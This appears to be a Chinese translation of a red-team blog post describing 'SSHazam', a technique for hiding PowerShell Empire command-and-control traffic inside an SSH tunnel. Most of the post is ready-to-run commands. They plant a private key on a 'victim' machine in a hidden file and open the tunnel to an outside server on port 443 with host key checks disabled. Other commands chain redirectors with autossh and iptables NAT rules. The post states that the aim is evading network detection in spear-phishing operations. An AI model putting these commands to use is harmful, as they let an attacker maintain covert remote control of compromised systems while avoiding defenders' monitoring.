SSHazam:在SSH隧道内隐藏C2通信的技术解析

本文详细介绍了如何利用SSH隧道隐藏C2流量,包括基础配置、密钥管理、端口转发及复杂重定向架构,有效规避网络检测并保护敏感数据。

SSHazam:在SSH隧道内隐藏C2通信

Carrie Roberts

SSHazam是一种通过标准SSH隧道运行任意C2工具以规避网络检测的方法。本文示例使用PowerShell Empire,其通过SSH连接将本地端口转发至远程Empire服务器,使得网络流量仅表现为SSH通信。示例中受害系统为OS X,但相同技术可在Windows上使用Putty工具集的Plink.exe实现。

基础配置与密钥管理

  1. SSH隧道配置
    受害系统配置SSH隧道监听端口5430,并将接收数据转发至Empire服务器。Empire服务器需在本地相同端口(127.0.0.1:5430)运行监听。为增强隐蔽性,SSH服务监听端口改为443(需修改SSH配置文件及云服务商防火墙规则)。

  2. 密钥部署
    需将私钥复制至受害系统,并将对应公钥添加至Empire服务器的authorized_keys文件。以下命令示例创建私钥文件(内容已截断):

    1
    2
    3
    4
    5
    6
    7
    
    mkdir ~/.ssh
    chmod 700 ~/.ssh
    echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
    echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
    # ... 密钥内容截断 ...
    echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
    chmod 600 ~/.ssh/.do.key
    
  3. 权限限制
    为防止私钥滥用,可在Empire服务器修改/etc/passwd,将用户登录shell设置为/bin/false

    1
    
    victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
    

隧道建立与C2配置

执行以下命令建立SSH隧道:

1
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5430

配置PowerShell Empire监听127.0.0.1:5430,即使使用域前置等复杂配置仍可生效。

高级重定向架构

为保护敏感数据不被存储在第三方云主机,可通过多级重定向器转发流量:

  1. 受害系统命令

    1
    
    ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5431
    
  2. 内部系统命令(需安装autossh):

    1
    
    autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 [email protected]
    
  3. IPTables规则配置

    • Empire重定向器规则:
      1
      2
      3
      
      iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
      iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
      sysctl -w net.ipv4.conf.all.route_localnet=1
      
    • 最终重定向器规则:
      1
      2
      
      sysctl -w net.ipv4.conf.all.route_localnet=1
      iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
      

监控与告警

通过PAM模块配置SSH连接成功时触发Slack告警脚本(/etc/pam.d/sshd):

1
session optional pam_exec.so /home/root/ssh-slack-alert.sh

脚本示例:

1
2
3
4
5
#!/usr/bin/env bash
if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]; then
  message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
  curl -X POST --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

注意事项

  • 复杂架构下需为每个受害系统分配独立端口及用户/私钥组合,适用于鱼叉钓鱼场景。
  • 技术核心:通过SSH加密隧道完全隐藏C2流量,避免触发网络签名检测。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计